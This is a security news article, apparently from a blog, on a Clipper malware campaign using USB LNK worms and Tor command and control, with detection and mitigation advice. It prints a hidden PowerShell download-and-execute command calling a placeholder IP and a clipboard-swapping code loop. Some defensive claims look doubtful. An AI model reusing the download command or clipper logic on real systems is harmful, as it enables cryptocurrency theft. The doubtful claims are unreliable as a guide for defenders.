Microsoft Exposes Clipper Campaign

Microsoft has unveiled a sophisticated malware campaign distributing “Clipper” malware through USB-based LNK file worms that communicate with command-and-control servers over the Tor network. The malware intercepts cryptocurrency transactions by replacing wallet addresses in the clipboard, redirecting funds to attacker-controlled wallets. The campaign leverages removable drives for propagation and employs multi-stage infection chains to evade detection while maintaining persistence on compromised systems.

Introduction

Cryptocurrency theft continues to evolve with increasingly sophisticated techniques. Microsoft’s Threat Intelligence team has documented a widespread Clipper malware campaign that combines classic USB worm propagation methods with modern anonymization infrastructure. This hybrid approach represents a concerning evolution in financially-motivated cybercrime, merging the reliability of physical media propagation with the stealth of Tor-based communications.

The campaign specifically targets cryptocurrency users by monitoring clipboard activity and swapping legitimate wallet addresses with attacker-controlled alternatives. When victims paste what they believe is their intended recipient’s address, they unknowingly send funds directly to cybercriminals. The use of USB-based LNK files as the initial infection vector allows the malware to spread across air-gapped networks and bypass traditional network-based security controls.

Background & Context

Clipper malware represents a category of information-stealing trojans specifically designed to intercept cryptocurrency transactions. Unlike keyloggers or credential stealers, Clippers focus exclusively on clipboard manipulation, monitoring for cryptocurrency wallet addresses and substituting them in real-time.

USB-based LNK (Windows Shortcut) file attacks gained notoriety with Stuxnet in 2010, demonstrating the effectiveness of removable media as an attack vector. These attacks exploit the Windows autorun functionality and users’ tendency to click on familiar-looking shortcuts. The technique remains effective because it bypasses network perimeter defenses and can propagate through organizations where USB drives are shared between systems.

The integration of Tor for command-and-control communications marks a significant operational security enhancement. Tor’s onion routing provides anonymity for both infrastructure location and traffic analysis, making attribution and takedown operations substantially more difficult for law enforcement and security researchers.

This campaign builds upon previous Clipper variants but distinguishes itself through its propagation mechanism and infrastructure resilience.

Technical Breakdown

The infection chain begins when a victim connects an infected USB drive to their Windows system. The malware creates LNK files on the removable drive that masquerade as legitimate folders or documents using spoofed icons and carefully crafted filenames.

When the victim clicks the LNK file, it executes embedded PowerShell commands that initiate the multi-stage payload delivery:

powershell.exe -WindowStyle Hidden -Command "IEX(New-Object Net.WebClient).DownloadString('http://[IP]/stage2.ps1')"

The second-stage payload establishes persistence through multiple mechanisms:

• Registry Run keys for automatic startup
• Scheduled tasks that execute at user login
• WMI event subscriptions for fileless persistence

The core Clipper module operates as an in-memory PowerShell script or compiled .NET assembly, implementing a continuous monitoring loop:

while(true) {
    string clipboardContent = Clipboard.GetText();
    if(IsCryptoAddress(clipboardContent)) {
        string replacementAddress = GetAttackerAddress(DetectCryptoType(clipboardContent));
        Clipboard.SetText(replacementAddress);
    }
    Thread.Sleep(100);
}

The malware supports multiple cryptocurrency formats including Bitcoin (BTC), Ethereum (ETH), Monero (XMR), and various stablecoins. Each cryptocurrency type has corresponding attacker-controlled addresses stored either locally in encrypted configuration files or retrieved from the C2 server.

Command-and-control communications occur over Tor using HTTP requests to .onion domains. The malware embeds a minimal Tor client or leverages system-installed Tor Browser components. Beaconing occurs periodically to report infection statistics, retrieve updated wallet addresses, and receive configuration updates.

The USB propagation component monitors for newly connected removable drives and automatically:

• Enumerates existing files and folders
• Creates corresponding LNK files with identical names and icons
• Hides original files using hidden file attributes
• Places the malicious LNK files in visible locations

Impact & Risk Assessment

The financial impact potential of this campaign is substantial. Cryptocurrency transactions are irreversible, meaning victims have no recourse once funds are sent to attacker-controlled wallets. A single successful interception during a large transaction could net attackers thousands or even millions of dollars.

Critical Risk Factors:

• Scale of propagation: USB-based spreading enables geometric growth across organizations and networks where removable media is commonly used
• Detection difficulty: Clipboard monitoring generates minimal forensic artifacts and often evades traditional antivirus detection
• Attribution complexity: Tor-based infrastructure obscures attacker identity and geographic location
• Cross-network capability: Can bridge air-gapped networks designed to isolate sensitive systems

Affected user segments include:

• Cryptocurrency traders and investors conducting frequent transactions
• Organizations managing corporate cryptocurrency holdings
• Cryptocurrency exchange employees with access to hot wallets
• Mining operations distributing payments to workers
• Businesses accepting cryptocurrency payments

The campaign appears geographically widespread with no specific regional targeting, suggesting opportunistic rather than targeted operations.

Vendor Response

Microsoft has integrated detection signatures for this campaign into Microsoft Defender and published indicators of compromise through its Threat Intelligence platform. The company has classified the malware family under the detection name “TrojanClipBanker” with multiple variant designations.

Windows Defender now includes behavioral detection for suspicious clipboard monitoring activities and LNK file creation patterns associated with USB propagation mechanisms. Microsoft has also enhanced Protected Folders functionality in Windows Security to prevent unauthorized modification of clipboard data by untrusted applications.

The company has coordinated with cryptocurrency wallet providers to implement transaction verification workflows that display wallet addresses through multiple independent channels, reducing reliance on clipboard contents alone.

Microsoft recommends organizations enable Attack Surface Reduction (ASR) rules specifically targeting:

• Executable content from email and webmail clients
• Potentially obfuscated scripts
• Office applications creating executable content

Mitigations & Workarounds

Immediate Actions:

Disable USB storage devices through Group Policy if not operationally required:

Computer Configuration > Administrative Templates > System > Removable Storage Access
Set "All Removable Storage classes: Deny all access" to Enabled

For environments requiring USB access, implement device control solutions that whitelist only authorized devices by hardware ID.

Verify cryptocurrency transactions by cross-referencing wallet addresses through multiple sources:

• Manually type critical addresses rather than copying
• Use QR codes when available
• Verify addresses through secondary communication channels
• Conduct small test transactions before large transfers

Application whitelisting prevents unauthorized executables from running:

# Enable Windows Defender Application Control
Set-RuleOption -FilePath "C:\WDAC\Policy.xml" -Option 3
ConvertFrom-CIPolicy -XmlFilePath "C:\WDAC\Policy.xml" -BinaryFilePath "C:\WDAC\Policy.bin"

Configure PowerShell Constrained Language Mode to restrict script capabilities:

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

Detection & Monitoring

Security teams should implement monitoring for the following indicators:

Clipboard access patterns:

• Monitor Process Monitor logs for excessive GetClipboardData API calls
• Alert on clipboard access from unexpected processes

Network indicators:

• Tor traffic on endpoints (connections to known Tor entry nodes)
• HTTP requests to .onion domains
• Unusual outbound connections from scripting engines

Filesystem artifacts:

• LNK files created on removable drives
• Hidden files on USB devices with corresponding visible LNK files
• PowerShell scripts in temporary directories

Registry persistence:

# Monitor these registry locations
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

Event Log indicators:

• Event ID 4688 (Process Creation) showing PowerShell with Base64-encoded commands
• Event ID 4663 (Object Access) for suspicious file operations on removable media

Implement SIEM correlation rules that trigger on combinations of USB device connections followed by suspicious process creation and network activity.

Best Practices

Organizational Security Posture:

• User Education: Train employees to recognize LNK-based attacks and suspicious USB drive behavior. Cryptocurrency users should understand transaction verification procedures.
• Network Segmentation: Isolate systems handling cryptocurrency transactions on dedicated network segments with enhanced monitoring.
• Principle of Least Privilege: Restrict administrative rights to minimize malware’s ability to establish system-level persistence.
• Hardware-based wallets: Organizations managing significant cryptocurrency holdings should use hardware wallets that display addresses on physical screens independent of the host system.
• Multi-signature wallets: Implement multi-signature requirements for high-value transactions, creating approval workflows that provide additional verification opportunities.

Technical Controls:

• Deploy endpoint detection and response (EDR) solutions with behavioral analytics
• Enable Windows Defender Attack Surface Reduction rules
• Implement application whitelisting on high-value targets
• Configure PowerShell logging and script block logging
• Block Tor traffic at network perimeters where not required for legitimate business

Transaction Verification Protocol:

Establish organizational procedures requiring:

• Address verification through secondary communication channels
• Mandatory test transactions below threshold amounts
• Time delays between transaction initiation and approval
• Dual-person verification for transactions exceeding defined thresholds

Key Takeaways

• Clipper malware represents a persistent and evolving threat to cryptocurrency users, combining clipboard manipulation with sophisticated propagation and communication techniques
• USB-based LNK worms remain effective attack vectors capable of bypassing network security controls and spreading across air-gapped environments
• Tor integration significantly complicates attribution and infrastructure disruption efforts
• Multi-layered defensive strategies combining technical controls, user education, and transaction verification procedures are essential for protection
• Organizations handling cryptocurrency must implement enhanced security measures beyond traditional endpoint protection
• Detection requires behavioral monitoring rather than signature-based approaches due to the malware’s polymorphic nature and fileless components

References

• Microsoft Threat Intelligence Center – Clipper Malware Analysis
• MITRE ATT&CK Technique T1115 – Clipboard Data
• MITRE ATT&CK Technique T1091 – Replication Through Removable Media
• NIST Special Publication 800-83 – Guide to Malware Incident Prevention and Handling
• Windows Defender Attack Surface Reduction Rules Documentation
• Cryptocurrency Transaction Security Best Practices – NIST Cybersecurity Framework

Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/